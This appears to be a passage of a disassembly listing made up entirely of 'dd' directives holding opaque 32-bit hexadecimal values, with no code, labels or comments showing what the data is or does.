		dd 1740C907h, 80FEAE24h, 9C105836h, 0C89983h, 5ABF1AFFh
		dd 52003AF1h, 9C1E6E75h, 0E2CB2Ah, 7467397Ah, 0FCAE4A9Eh
		dd 82737607h, 178B438Ch, 0EFF388F8h, 0E0569863h, 1ECDA16h
		dd 2D12B9F5h, 81D1732Bh, 0FC59B0C0h, 287364F6h,	53300AB2h
		dd 0ED460059h, 4E1B9141h, 8805BB10h, 9856C471h,	0E805DC56h
		dd 0C800BCEAh, 9ED28DAAh, 5749AD5h, 0F036498h, 17E000BEh
		dd 480760DFh, 0FE007090h, 0EFDA3B96h, 6924F1BDh, 83A8A6h
		dd 3012A329h, 0B040C6F9h, 42F67DEEh, 0B6D80594h, 831AB33Eh
		dd 7906664Ch, 3F5B8141h, 10D61D58h, 3EEF167Ch, 0F623E8h
		dd 0BE2BD00Dh, 0ED0033A5h, 8E88AD17h, 549BFDBDh, 78B5F491h
		dd 1EC0071h, 0EB9035EAh, 85001A51h, 11C81E0Dh, 30C3BFA4h
		dd 1F319E45h, 0C430945Dh, 8FDE117Fh, 1C5F009Dh,	1DA8D9A3h
		dd 0AC019093h, 3C217F20h, 0CE799DDh, 0CE4140C8h, 37363A1h
		dd 6E90C950h, 0B9F47A00h, 44C53E79h, 221E1616h,	40D112D4h
		dd 8B599D3Ch, 7200AE73h, 0BC8DCA1Ah, 2EA2CE2Eh,	1CD6BB5Fh
		dd 0FD34A7Fh, 0FBB1009Ch, 52AC0921h, 40608E00h,	7F8719A8h
		dd 0C5251357h, 0CAE60089h, 20F72347h, 10419F4Ah, 0AA66E7A0h
		dd 9592E4h, 18EE6074h, 54F67E42h, 39E2E103h, 0B53AD309h
		dd 0BB3DD800h, 0C1BF9684h, 2F8FCA41h, 0E04743h,	0CCE9ADA1h
		dd 2A84710Bh, 90048245h, 23C440B0h, 0EC9A3485h,	0DC1483E1h
		dd 0BBC54698h, 1A8AACA8h, 0A5721790h, 63FF5B00h, 11757F6Ch
		dd 35570173h, 67014AD1h, 0E858CA1Bh, 51339E30h,	15EFD28h
		dd 86814512h, 0E8A6B451h, 0F432BE5Dh, 97D911D8h, 0E7F4104h
		dd 0E0108035h, 78B03725h, 43C30079h, 0B201DFC9h, 0CE018E6Fh
		dd 0C27CA1Bh, 2EE46CAEh, 9B13001Ah, 62F2EBF4h, 901E061Dh
		dd 0E70028DFh, 43866A67h, 0CB2200ADh, 83769846h, 555C138Ch
		dd 84A50052h, 0D691907Eh, 0E45B4826h, 491C0079h, 0DD7F4181h
		dd 0FB006A62h, 25966586h, 0BEC090h, 0F45C6E82h,	0A163539Ah
		dd 3266B90Ah, 5000E233h, 1FAD7D59h, 16EAE8h, 0F208D75h
		dd 9E0809C2h, 9C335103h, 0A1B24B35h, 63EC7EC3h,	0B64A3E90h
		dd 34AC9A00h, 0F389A612h, 0E9C0F607h, 50BCDFE2h, 0CD32009Eh
		dd 8B81CE7h, 0C5780EEFh, 774DD00h, 8A3FA36Eh, 0C0FE4C58h
		dd 18AB4600h, 152430EDh, 5DB45C00h, 101C1A8Dh, 20273DCCh
		dd 73B300F2h, 0FC3F002h, 72002A5Dh, 0A2FD3A17h,	239E38h
		dd 0DCBB0120h, 0C6680E66h, 4D991300h, 0ACA68055h, 0E04F5479h
		dd 872200ECh, 89D7B354h, 0F03AAD62h, 4E0A0097h,	0EADFCF93h
		dd 20A60EA7h, 0C480721Dh, 63642AEFh, 47A8131Ch,	68C78FC0h
		dd 2BA48Dh, 66B33729h, 0A1D2705Bh, 0FD001092h, 365C17A5h
		dd 7307380h, 0EF56FF45h, 407FBE43h, 0D7A0286Ch,	0FC3E7594h
		dd 85C68EF4h, 804F695Dh, 56E9D40Fh, 0B3AF1C5Eh,	3D1AA6F9h
		dd 35364B00h, 328F7527h, 88E86100h, 14D36965h, 43B5009Fh
		dd 5CF4827Dh, 4E00BEF0h, 0FC170F22h, 0E130BD4h,	7ABFDA02h
		dd 6080E669h, 3A79B342h, 0FF6D824h, 3C9E8038h, 8BD623FDh
		dd 84BE0138h, 2BDD4ECAh, 96C07EC1h, 13C08C0h, 0C414F229h
		dd 0F159D327h, 5F993047h, 210071F8h, 983480Bh, 762F8962h
		dd 0C3B00013h, 0F9587B4Ch, 7828F76Eh, 0C18094A7h, 60006F94h
		dd 221D310Ch, 0A367EDh,	7C5549FBh, 16CD1848h, 0D699C01Fh
		dd 0F1462900h, 0C2651Eh, 0D27C8FFBh, 2BCC12BDh,	28690600h
		dd 0BAA6FA77h, 0F31B0066h, 0F63A7189h, 88EA6A08h, 0C94C2400h
		dd 98921716h, 1DCF00B4h, 1F747F32h, 0CCEC8DC3h,	731D1898h
		dd 9A01DBD4h, 45801904h, 8863E0CBh, 0A96D00D3h,	65A2869Ch
		dd 0DF008B26h, 5C02E19Fh, 7D88AA4h, 0BF7D4DB4h,	1DC3306Ah
		dd 9A007CC7h, 2C243D2Eh, 0E48F2B62h, 0EA2004Ah,	3B10A5D4h
		dd 0C100570Dh, 0E6889BB7h
		dd 8724C0h, 903F16E9h, 9767CEB6h, 790006E4h, 1261C23h
		dd 0FBE2C0h, 0BC25B8D3h, 1F167580h, 2D2B2800h, 540715A5h
		dd 0F7ED3AD2h, 0DE05B800h, 37D1FFD0h, 7600BE70h, 7A8D124Dh
		dd 24357EA3h, 805CB8EBh, 0B98CF3FFh, 30047520h,	0DE01E82Ah
		dd 0C7312CC0h, 4B39075Fh, 2077D715h, 4C0385D9h,	0CD4510C0h
		dd 4BD76C3h, 578727D8h,	5B26805Fh, 6D0E85E1h, 40FF24BEh
		dd 0BC14A19Dh, 8C360069h, 0B37C1765h, 0DA3B8B9Eh, 48E68F78h
		dd 736E003Ch, 1F0962AFh, 0B21B03h, 954DF40Eh, 0B005AB5Ah
		dd 8723CEF6h, 0DBE380AAh, 82501F02h, 291CC2BBh,	0E300480Eh
		dd 0B3F21A9Eh, 434A006Ch, 0EEE6EBE9h, 83001735h, 34DA8D98h
		dd 26FEE8h, 99E1B695h, 790F85E5h, 80831E03h, 0A09FA9A3h
		dd 6DED7CAh, 0BDAC95EBh, 0D0001087h, 6FAF8E58h,	1D12F689h
		dd 47851FC9h, 50DEB73Eh, 5C0E76E1h, 1B013500h, 8B2E8822h
		dd 67AF00A7h, 7D241C6Dh, 0D4000F4Ah, 833D5641h,	0B840ABDDh
		dd 3C8F2803h, 45AC0008h, 0EEF5029Ah, 5800F93Dh,	635F8D4Dh
		dd 0E2B1873Fh, 3677004Ch, 830BA7A2h, 0E2C8247h,	0B5857C75h
		dd 12C709C9h, 0C00DE333h, 98C4E64Dh, 70044C33h,	83D4FF00h
		dd 78256170h, 19513000h, 3A557539h, 9EF440h, 63C5F471h
		dd 0FC2BE9A2h, 45852100h, 0AF6E3D51h, 0DE790046h, 0CAB6A8DFh
		dd 0D00779Ah, 0A1422214h, 437D55h, 862A0A9Dh, 4F959F3Ah
		dd 1C97323Ah, 0A1406806h, 836CC392h, 5325003Fh,	108CACF1h
		dd 0F700417Bh, 6309A14Ch, 1C2DC4h, 0CCB3153Eh, 0A3C555Eh
		dd 0F3D0E500h, 0A6C2CF7Ah, 0A1C002D3h, 0B3C68C24h, 0DC72F461h
		dd 2009454h, 15863853h,	783376CAh, 0D9E20726h, 23E1192Dh
		dd 0E0703C6Bh, 68000DEEh, 3E511E43h, 80FB91h, 3314CB23h
		dd 96577447h, 99BECF01h, 0FD306176h, 69DC34h, 116E9F83h
		dd 5EDFF503h, 0A46CF600h, 89AEBAB0h, 0AF370F84h, 9C07F935h
		dd 28204F4Fh, 0CD85430Bh, 806CC94Ch, 0A657A51h,	93213947h
		dd 84FC26h, 6EDC709Ch, 660352A5h, 7F7BFDDBh, 35B0B099h
		dd 0F2F700AEh, 176BE140h, 3E001884h, 6D9609BEh,	5EE9933h
		dd 9103A344h, 0BB398183h, 4E846468h, 3E722400h,	82559C04h
		dd 0A22A00E2h, 370A3F52h, 2D01E879h, 4EAA48EEh,	836091E1h
		dd 87E23Dh, 852F3A4Ah, 78C4131Dh, 0E605CD00h, 0BF55BD46h
		dd 0FE7C90h, 874111C7h,	5289DC98h, 0B9E83100h, 0B3C068F9h
		dd 9ED60097h, 0A6112137h, 0E031C02h, 2A243826h,	0B84C9371h
		dd 1E6523Eh, 67832CBAh,	0D0B8147Ah, 5A0086BDh, 0D58AAF0Fh
		dd 9C8715h, 0BF13054Ah,	8488A829h, 64377600h, 1D5AEBFAh
		dd 1077FDDh, 541B8ADFh,	40DC3D09h, 4E5F74F0h, 87483239h
		dd 0B73D76Dh, 498BA8A0h, 0FD201F52h, 29284047h,	0D6437A32h
		dd 0E2460600h, 0B8DDCB07h, 0ABE5002Ah, 0CA530877h, 1100C9A7h
		dd 1B40282Bh, 3DA5288h,	0DA9AE0Ah, 0D4F89206h, 0B2005E0Ch
		dd 3971748Bh, 0A3E250h,	937B42DCh, 1E27BC36h, 409DB200h
		dd 8ADBEE5Fh, 726000DAh, 0B8C703ACh, 4E1E8EADh,	82C377E4h
		dd 90389094h, 0E5AAF9h,	0E132D8D1h, 33D5CE43h, 0AF9AE8FBh
		dd 0EF88C918h, 0FA974F2h, 0F264B231h, 5E6C7AC7h, 3572005Eh
		dd 0D2874906h, 575920FFh, 0ED32BC00h, 1DE4415Fh, 0DC4F0E5Eh
		dd 0EE2011C2h, 0C448A00Fh, 340C9900h, 1ECF595Fh, 588A7D32h
		dd 63075C88h, 406EA9C7h, 6CD44083h, 7B1DED00h, 0F801A2A7h
		dd 3BD1CC3h, 5ABA808Fh,	0EC26B0E8h, 133B6005h, 58C0DA1Bh
		dd 154267h, 0C3C8C7B4h,	648CD62Dh, 3E801060h, 12A179CCh
		dd 8062705Ah, 0CF6854CCh, 0BE3CD850h, 0C76ADA01h, 0A2708C98h
		dd 566D6E0h, 60C993EBh,	0F080089h, 88C5616Dh, 0F66BBF00h
		dd 0EF647790h, 81C92E40h, 0D05E0754h, 0C85681EBh, 0C0108EA6h
		dd 2A67A0D2h, 92368F38h, 40D6E7A8h, 1DE9E60Dh, 77E7D03h
		dd 0A0A71B06h, 3C5E924Eh, 0B2143600h, 0A51DB3CCh, 0A41A0029h
		dd 0DDEBF85Ch, 0E00C0F6h, 0A6AD54A7h, 0E036D4h,	0B13A141Eh
		dd 3932F5A2h, 0F1D57830h, 36E9EADAh, 80385507h,	2F002BF8h
		dd 54ADEC29h, 3C5F633Eh, 500755Ch, 0A349E62Dh, 0C600F95Eh
		dd 0FA56B713h, 48D586ADh, 0AE0196DCh, 0D24DEA2Eh, 0E2E9C811h
		dd 6530A1Fh, 2B7F94C0h,	17617FFh, 7222A56h, 3079CB15h
		dd 3F1CD7E9h, 58A2569h,	0B100C42Ch, 0C6F00F23h,	0DE881294h
		dd 16A4CF92h, 540AD5B1h, 8FF60CB3h, 1C930B30h, 0AC3EB400h
		dd 3F035E61h, 0C8B2687Ah, 432BE11Bh, 1B660C42h,	62113DB2h
		dd 5922DE0Ch, 638A2187h, 0C204E2Ch, 6A10B643h, 247E8A50h
		dd 454F4E88h, 130C4A9Ah, 0CA829018h, 8E900C3Ch,	2253F9C4h
		dd 3A3CA5AAh, 6AD64844h, 0CA45F22h, 0DC1742D2h,	8A244890h
		dd 0E2800245h, 0C206E8F6h, 3937A890h, 0C8208612h, 6AA2200Eh
		dd 0F49B8B1h, 60DDE167h, 0A5F074E2h, 0ADDF3055h, 7A2D7620h
		dd 223ED50Ah, 5803C8D6h, 92C45679h, 0F36B40A8h,	7434F0AFh
		dd 0C3DA387Fh, 0DD46D582h, 8880B6B2h, 1B6617B1h, 0DEEE5FE8h
		dd 7F03AD00h, 0ED78493Eh, 254B0296h, 0A0675C61h, 10F44C98h
		dd 0CBC01A00h, 9017FCD8h, 6603021Bh, 5BB67B1Ch,	0E50F080h
		dd 700A940h, 6F552177h,	0DAB714h, 953A7BAFh, 7C59C956h
		dd 0DC406026h, 47B19F38h, 0CC4569C0h, 0AC78FCB6h, 8020461Ch
		dd 0DA768A09h, 4CDE0067h, 4B7FED4Dh, 0A776ECF5h, 0A1C0B752h
		dd 7E01C460h, 58C8C7CBh, 40D20ADEh, 0B2F04427h,	0E1D3E508h
		dd 448028BFh, 0EE7D1C73h, 9A1E091Ah, 87D52260h,	574E9F78h
		dd 140F1358h, 5901BDD5h, 4CE6FD68h, 0D067D0CFh,	7F5C00BAh
		dd 0CCF7C2CBh, 38F0A8A6h, 4E155204h, 0C0888F93h, 2AB63C4Bh
		dd 2A307224h, 4D450110h, 0CB83F8FDh, 0F299DE7h,	4F893D02h
		dd 0C5310104h, 0E5B09148h, 7476B180h, 2E4BE9Eh,	0F5C13400h
		dd 0EFBBD49Ch, 2EDB1DC8h, 4BD60384h, 1688C9ECh,	4D0043CDh
		dd 48ABD361h, 3C9F27D9h, 2E000B23h, 987DFECFh, 680263B7h
		dd 1F16CA2Ah, 7F6CC1A8h, 1DF623ECh, 8027F7B4h, 0FB3F3453h
		dd 1186CEDh, 0C2204075h, 529E00FFh, 4BD9E3CBh, 703E803Bh
		dd 4A40601Dh, 0C348AF1h, 0A24DBB23h, 440E3531h,	0A00E255Dh
		dd 92E1D35Ch, 436C00AEh, 9E02371Dh, 4A744E94h, 6980DC0Eh
		dd 2D9560B7h, 4C6F566h,	0BAA21FC4h, 28790CCBh, 4071DC23h
		dd 6E321C49h, 0E20B8C5Ch, 80A58B96h, 0B5EEFF61h, 0FABF3A3Eh
		dd 53C34507h, 0BB3F81B6h, 0F60880DAh, 8CCE8354h, 0B5EF3CE6h
		dd 0AFD63060h, 0D103B6EBh, 4F8B6D1Bh, 0FCC5BCBDh, 3592F100h
		dd 7931CDDh, 96D8520Dh,	14718082h, 0FCF48C13h, 5B78E118h
		dd 0FF3830h, 0EE901692h, 0A5FAA396h, 616C1702h,	0C046C36Dh
		dd 0F949E03Eh, 0B6F1C8h, 0A6E9D779h, 4D053BA0h,	8168F43Dh
		dd 18490C7h, 444ADA0Ch,	807997A1h, 43910F08h, 78522F1h
		dd 0DA7F82D5h, 0F3530054h, 187D788Dh, 0AD01200Eh, 32E24025h
		dd 0BD6F661h, 0E0CA73CEh, 633B7900h, 58005C96h,	56B21B15h
		dd 0F3A133Dh, 0FF0F7EAEh, 344BA200h, 430036F4h,	99FBD65Fh
		dd 303E8A5Ch, 0BC897B13h, 4400973Bh, 0C7C3CACBh, 14E3A5DCh
		dd 84363514h, 109E1DA0h, 0A3547874h, 0E70023A0h, 8C9A01D1h
		dd 0E891FC14h, 0CEB90F9Ch, 6A00198Fh, 369389F5h, 7F0CDD0Ch
		dd 0CCB7304Ch, 9080ED28h, 0E0323Ah, 47CC045h, 14BE5B79h
		dd 0D0B022AAh, 0C3814A21h
		dd 0C1ADA8F0h, 15BBDD0h, 743DACB9h, 0ECE74E82h,	0AF7F4319h
		dd 781E54EAh, 0FC002DEEh, 9B1ABA49h, 0CF0D195Bh, 0B01030DCh
		dd 0E2EE8128h, 0A9C8A0ACh, 0D58403D1h, 0A3BC0EFBh, 6BDF6003h
		dd 0E030FDFAh, 1D967B8Fh, 1C661646h, 2B56123Bh,	0A8F1C30Ch
		dd 54D939A3h, 400452A4h, 96CEEA84h, 0DB143374h,	0AFFCBCAAh
		dd 6DFCC862h, 98FD0502h, 0AE79AF4h, 0E2FFDAA1h,	9FC7880h
		dd 9B441782h, 0AE0E96Eh, 4534A070h, 0C472E046h,	0BB9098FBh
		dd 0C4640601h, 20971BF3h, 105C0231h, 1F119633h,	8D4E1BFh
		dd 42C0780Ah, 0C44704F1h, 2F21D511h, 51E6E3BFh,	794B7530h
		dd 485CE18Fh, 0F60610C2h, 0F045BC6Bh, 4A464304h, 40882854h
		dd 0A1B0C34Dh, 0D00C8FF7h, 40D26618h, 0F0513878h, 84D84B32h
		dd 44F59C82h, 0C20E311h, 7C2A496Dh, 82F0910Ch, 0C0A0D640h
		dd 4814332h, 42F90020h,	0AC5B28E2h, 0C9B71A30h,	0E8CB0DD7h
		dd 4A7E38F0h, 0A02A8798h, 0FD340603h, 0E40149EFh, 7C8C9202h
		dd 28EEF192h, 9231D090h, 5A6E9040h, 0DC39998Eh,	67E231DBh
		dd 7007DC90h, 49E9A510h, 0A9B44C01h, 21EF4E7Ah,	46DC4274h
		dd 4A05E490h, 0C414AB18h, 31CF9488h, 6E489982h,	0B06980CDh
		dd 7901D556h, 94783A83h, 0A63DC87h, 76CBD0DDh, 0A53245F5h
		dd 63D4904Bh, 6900028h,	2BE8A118h, 0B82EB985h, 0C918C188h
		dd 94A3979h, 16916D79h,	11C87421h, 2007FB7Eh, 3843D414h
		dd 0BC88E8D4h, 5B7401CCh, 0B6557CABh, 7F7C4463h, 0B018C004h
		dd 300EA6h, 7523AF80h, 43747BA3h, 0CA89F006h, 1431C942h
		dd 90C77ED6h, 0F867933Ch, 0C676C778h, 348D1877h, 0B84C7594h
		dd 0D1BF3075h, 0EF493650h, 3CEC7B24h, 0C9FD550Fh, 4A0C0748h
		dd 82F2EDC2h, 1049B50Ch, 0FF84F317h, 0A5371852h, 184A710Ch
		dd 6D953014h, 30862A0Ch, 0C4106943h, 0C658AF0h,	61C8CE90h
		dd 15325764h, 0F11B48A2h, 0C411D11h, 98E06E7Ch,	0D20E3FFEh
		dd 54FB2D87h, 320DC485h, 0C43197Dh, 0F843860Dh,	19E1121h
		dd 0CE5510A1h, 9099085Ch, 6481C801h, 0FFA23105h, 27092442h
		dd 51A6C17Fh, 0A1161247h, 4B671E0Ch, 19201A12h,	0ED078C2h
		dd 5B965DA4h, 0D66115C0h, 1E58E3A6h, 14450E7Dh,	197D0292h
		dd 930F40BEh, 0D7F6C3h,	0F2C95B91h, 0EBC88869h,	9B41F360h
		dd 6364FDBAh, 0D28DE92Bh, 0F8002EA2h, 8004F5D4h, 0C500A8A7h
		dd 0F24C9624h, 261BAAD5h, 3AE1552Ch, 8A38A1E0h,	0F02286D3h
		dd 35161806h, 0F1CA89B9h, 0A8236030h, 0CD1D784h, 57CC5DE9h
		dd 820A8C88h, 1C9B02F0h, 0E6160154h, 8FC89EBEh,	155840CAh
		dd 0BD0164EDh, 33DCF81Ah, 5081FF88h, 58914DE8h,	0BD5891E6h
		dd 5DBBF003h, 800D5510h, 28222385h, 222AA3DFh, 10D917D8h
		dd 0E62050h, 539642B2h,	8F54BAFEh, 2562E814h, 1B15C868h
		dd 0FB8222A0h, 0A005774h, 0C2E3B1DCh, 0A07E46EDh, 35A088C0h
		dd 1F8995Ah, 0B2D3D98h,	61B8DC14h, 5E4DA700h, 0E81BDF95h
		dd 0B985658Ah, 6C9C430Ch, 99075433h, 0A7E15A16h, 0ED852510h
		dd 0EE7918A3h, 3C61693Ah, 0E20693E0h, 56F3F26Ah, 68BD5419h
		dd 80C364A0h, 0A873CB4h, 0F7925C6Bh, 85EF80C8h,	88A17872h
		dd 0DBBE5000h, 39E91834h, 38333831h, 0C880C054h, 0A08A4010h
		dd 2A83F4EDh, 77D6AF3h,	27D9EB88h, 4FD447DCh, 0B119768Ch
		dd 16DBF014h, 485D0C9Ch, 74F3F856h, 1821D9A1h, 0E1AE1094h
		dd 74579067h, 0F34239E6h, 3AFFF938h, 0F2FEB6h, 0F6E4BD48h
		dd 7E0988C9h, 0EA21D41Fh, 0C0032873h, 0CE1FD1Eh, 5B2240EBh
		dd 9D030919h, 0B323CD4h, 0F3500343h, 5E119BE9h,	153106D8h
		dd 0E319EB00h, 0EC6512FFh, 0F8D406FEh, 18EAC417h, 911B3F0Fh
		dd 694281E4h, 10E7F42Ah, 11412FA0h, 0D23B8651h,	3C40E330h
		dd 69E8CE0Ah, 1A1F94ECh, 4300FFD5h, 4E03319Ch, 560E24A3h
		dd 9739337Eh, 53AAAED9h, 0D3A31A80h, 0FA2E43D7h, 6E197876h
		dd 567A584Bh, 0E8E402CCh, 408CFF0Eh, 6929311Ah,	0A7A1D260h
		dd 67D0B9F2h, 6279E812h, 0F900EC41h, 71688EC9h,	5A110175h
		dd 962172F6h, 419840FFh, 0D8C63D25h, 7CE8A2AEh,	0FA068833h
		dd 29039E88h, 4130B1F0h, 0A85C9FEh, 1AC80F2Ah, 503EA0A6h
		dd 0D8138800h, 811D2286h, 55989D68h, 27FDB430h,	10F69791h
		dd 64AB063Ah, 789E242h,	8EC0B7C4h, 0E621303Fh, 380C3C71h
		dd 71A498FBh, 867000CEh, 35FF8EF8h, 8828D333h, 0ED20A8C7h
		dd 41483DF9h, 0BB428D0h, 4058B9FCh, 3CF68382h, 0E9C2A08Fh
		dd 46221197h, 7AB1400Eh, 0E03350AEh, 21D709DBh,	2C00FC8Bh
		dd 0E4FB77DEh, 1A75BB07h, 0FFC16CFDh, 7083E071h, 0A098FAF9h
		dd 0A8B1A139h, 12247C39h, 0E105080h, 0BBA78B0h,	0FDC1B80Ah
		dd 678748FEh, 21016644h, 3880F9AFh, 0DD3DBF6Eh,	0E04E5E2h
		dd 6956E707h, 248C4C90h, 46601EA7h, 0B7D84133h,	7F4A6725h
		dd 0A4F945F0h, 27BD0084h, 50229230h, 0D9EE7181h, 0CBC5B002h
		dd 0E1EEFFB8h, 23D091F9h, 0F8AE3058h, 8DF3F608h, 4E8E3A00h
		dd 7081181Dh, 56C03E7Dh, 85909881h, 80F995A0h, 0D0C72410h
		dd 1500386h, 0B659FC7Eh, 834CA56Dh, 0D620EE48h,	0C217DD8h
		dd 95DAC581h, 3B26D758h, 0CF0575F9h, 180841A5h,	77684CCEh
		dd 1BF4F088h, 291BA6D4h, 7B887878h, 0E6207966h,	0E11918F5h
		dd 0FAFED1FFh, 0AC472E00h, 0FBB3DF46h, 411161A5h, 0E1297C1Bh
		dd 54084217h, 47724804h, 5CD48632h, 0D9960610h,	898D0F2h
		dd 8E13805h, 0A040FB5Eh, 0DD578C0Eh, 0F0701Ah, 0A03FBA81h
		dd 745F6D92h, 89E5F201h, 63910864h, 0CAED3BCCh,	8104EE39h
		dd 84628305h, 0D00C40B0h, 0F954F56Dh, 0DCFACDA0h, 0AA77E4A8h
		dd 0F6B15018h, 0FC05F41h, 202F4135h, 0C281CB01h, 0D8E85032h
		dd 1F0106B2h, 26C7FA25h, 2BD0F8ACh, 77CD0594h, 15E38F7h
		dd 0AE9EC848h, 0C890FA4Ch, 1483C079h, 0C8A5FEF8h, 1279D090h
		dd 254DE35h, 0DC9992D7h, 2E2BD0A1h, 0C900D3E7h,	0E0CDA0A7h
		dd 60318538h, 179E517Ah, 1E39EDF9h, 9F028659h, 0A011FAD7h
		dd 2A120DBh, 362BF063h,	3091CD3Bh, 275844AEh, 2FD92048h
		dd 83049899h, 0EBD1932Eh, 0C03DF747h, 5A91858Eh, 0F64B6A1Fh
		dd 441BB487h, 562804Bh,	7C4CDA0Fh, 45063E2Ch, 520C430Dh
		dd 47CEE020h, 6860D47Dh, 5ACA1510h, 13103ABh, 0B29F2A43h
		dd 0EFB16BE0h, 4195EE30h, 0E222E4EAh, 316371C8h, 4A3157B9h
		dd 34AB029Eh, 0A5D05D1Eh, 6E6A20E2h, 0EB394B62h, 0A6081EB0h
		dd 8CA54E3Bh, 9C31718Ah, 382B08CAh, 0FE6DB970h,	72AA88A1h
		dd 6C9CA1CAh, 2243C0D8h, 0CA565121h, 0B3B60410h, 195F26E3h
		dd 5B9B8978h, 738A0248h, 23286F8h, 7CB6140Ah, 4F3181FCh
		dd 7F2A310Ah, 5B974B01h, 0B03B0660h, 5239DDD5h,	0FBC3A84Ah
		dd 21157A1Dh, 0F1DC966Ah, 2971DCA9h, 938A3188h,	0B0609695h
		dd 44018CF5h, 2F40AA07h, 814ACCBh, 0C1A46AA2h, 0A495CA8Ah
		dd 223EFBF8h, 94F8A20Eh, 8A8188AFh, 33720820h, 0AEB10A00h
		dd 0D38B4418h, 0AD684B08h, 12798364h, 410C24B9h, 70A8592Ah
		dd 8354AD67h, 0B05D7B60h, 664A3915h, 0C002B054h, 6A964450h
		dd 98A6E328h, 15AAFC3Ah, 0F0D4650Bh, 222DA3ECh,	0A5FC338Ah
		dd 0A7F3E0C6h, 8F76378h, 0C07C560Bh, 0C17C6556h, 51F4BFFBh
		dd 0AC17AA11h, 7C237850h, 750C3F6Ah, 33CA39B9h,	0FE68A0FBh
		dd 0A1040919h, 88AC080h, 0F88C632Bh, 9A22F27Fh,	405DF826h
		dd 8C4799Fh, 4B04D4ABh
		dd 248B06DAh, 8037F868h, 9C8556Bh, 107B9165h, 5922A218h
		dd 0C0B06257h, 3EBA57F9h, 0FF0A8034h, 72A89E50h, 85CB70C7h
		dd 8F91B48h, 326FDE2h, 8A66771h, 0A8A406ABh, 4B080462h
		dd 435242Ch, 6B0479ABh,	0C8A487Dh, 0AE21A7EBh, 49B611CCh
		dd 0F30B80E6h, 38A21C9h, 20962B1Ch, 0C0F8B509h,	0B11F089h
		dd 80488CA7h, 0C88980AAh, 203E9609h, 0A88B3297h, 0B02B411h
		dd 99500DBDh, 0DD29CE19h, 32E01991h, 2EC09EAh, 0A23F72Bh
		dd 191831ABh, 725CB08h,	8B0634A4h, 3E64213Bh, 61494209h
		dd 0D80A583Eh, 0D084B93Eh, 9F182A9Ch, 81A07470h, 2808BC8Bh
		dd 0CB24C4A7h, 40FA6461h, 0C5CFE21Ah, 4E294A51h, 31903AF8h
		dd 50EB0845h, 11581190h, 0D933812Bh, 88126431h,	5448F6EBh
		dd 1B1390FDh, 0C2082DCBh, 94AB0735h, 3E6009A1h,	12AA0C8Ch
		dd 6AA150E0h, 0C1689856h, 5ED34371h, 922D8A11h,	7C7C5FA9h
		dd 13331179h, 10AA2B78h, 35E56E02h, 4FCA23CEh, 2B4B5812h
		dd 0A2C48046h, 0A30F3268h, 0F924D108h, 0D1970B04h, 2A60154h
		dd 1A7C6843h, 0C4F4B2A8h, 1FF3AB08h, 5449B712h,	0EA20245Ch
		dd 9F5EEB04h, 0C1F40410h, 155F7705h, 5720D012h,	0A05E4B2Bh
		dd 992AA6E3h, 0A0235D3h, 91B510B0h, 148E6422h, 0EC94BA2Ah
		dd 9578CE26h, 4DF0E85Dh, 0C961A4C4h, 8C124A41h,	0A038ED03h
		dd 23544D6Bh, 5BB4E05Ch, 49C55DECh, 8C7C5C6Ah, 0F4C91843h
		dd 0BC8A3164h, 5B788465h, 1137887Ch, 0A3F9D97h,	0A883B1AAh
		dd 0CB08B318h, 9E78AD5Ah, 0B065083Ch, 590ECA86h, 852631A8h
		dd 8C866CE0h, 58962940h, 28B35614h, 55A8C281h, 0B2C21758h
		dd 98350F83h, 5B4F43F0h, 34361720h, 0C438B90Ah,	199C7C0Ch
		dd 7C3D2D1Ah, 80F80539h, 8C4980Ch, 0A05757EBh, 0F28FBFC1h
		dd 4A418ACCh, 0BBF89857h, 0F2AC2276h, 7CA86A19h, 709F9C60h
		dd 2A8390ABh, 0A435E0AEh, 749311A1h, 858D0h, 0C3C18847h
		dd 88F71993h, 8AA8A69h,	0B08C5EBh, 310426CDh, 3D06B68h
		dd 0AB04C48Bh, 8D221EDEh, 0C58982A0h, 0AA22B623h, 898BE38h
		dd 0A9F7179Fh, 7835CA86h, 83F6230h, 984049EBh, 9365C0CBh
		dd 0A87C3780h, 8C371B38h, 31E2516Fh, 2476CB03h,	95C0A6F1h
		dd 41F09836h, 982088D9h, 0E50A1437h, 0B219B877h, 0D2CDA08Dh
		dd 318F0203h, 0AB080A18h, 2AA120Fh, 0C9376Bh, 0CD860728h
		dd 0A2812009h, 400BD240h, 1B33CBE4h, 17DB18A3h,	4809EB08h
		dd 8B044B18h, 0D0BA521h, 0D22DF825h, 6B014F08h,	2893A7E8h
		dd 35B44823h, 627CAD90h, 0FF2B08D7h, 0E834800Dh, 59B89A70h
		dd 0F031DC83h, 88AC0C11h, 12AEBF98h, 123C46E0h,	5D6F28B1h
		dd 90B38808h, 36CB12FAh, 155E147Ch, 0B0A5E5A0h,	63CB2A0Ch
		dd 0B4A0A198h, 8665628Bh, 0B4058E60h, 0B84C9F0Bh, 40CB08BDh
		dd 0EE32ABDCh, 0A3A3188Eh, 2C9E55BCh, 95543340h, 6F20B8B4h
		dd 4C092B2Ch, 0A9D13999h, 0DCB0990h, 59B0E72Bh,	0FA2008BCh
		dd 3AE150D9h, 8F6EB03h,	32884B20h, 9A198F0Bh, 2B04D524h
		dd 0E2AB06DBh, 602D4909h, 94DAECF0h, 4A8CAD54h,	88AD424h
		dd 4F2C09B2h, 8AA3825Ch, 6A21D896h, 888C604Ch, 0F99875E0h
		dd 5149F892h, 0D42C2B04h, 30618F9Ah, 0EEF5A42Ch, 0B58A8821h
		dd 2B8B48C4h, 7A06F09Fh, 393688D3h, 0F0C4AA2Ah,	1780C974h
		dd 9CE8378h, 0A8DF3C7Eh, 2A2B08F1h, 0BED2B025h,	9CFA089Ch
		dd 0CA86B748h, 62505BECh, 298B08FCh, 0ED7E9CBEh, 0F9835222h
		dd 247034B2h, 0E54B0850h, 41894C09h, 70272934h,	1B221DCEh
		dd 0A023811h, 3A84C824h, 0CA48926Ah, 0D8242209h, 3B2278E6h
		dd 212A2B07h, 5415E0B8h, 31C5C133h, 306C1B4Ah, 359E11DBh
		dd 1A6A110Ch, 5A29D2F0h, 578AE244h, 0FDC1CC19h,	8562B5F1h
		dd 52CFAA31h, 65FFA406h, 66CA3208h, 406070h, 8DFA24Bh
		dd 8B3CA510h, 0B42470D9h, 2BD691D4h, 97E0E818h,	0C442FAE5h
		dd 3E1CA79h, 1058B5CBh,	2C781E50h, 568C1025h, 63FE1079h
		dd 7CB9787Ah, 84A11819h, 48246030h, 2890633Eh, 8259E8Ah
		dd 75340402h, 0C8EF4D3h, 0A1A9EB08h, 0EC9A2038h, 0C1C41857h
		dd 38739F46h, 7C17C417h, 5D7B08BFh, 0A0639C0h, 4E704FC6h
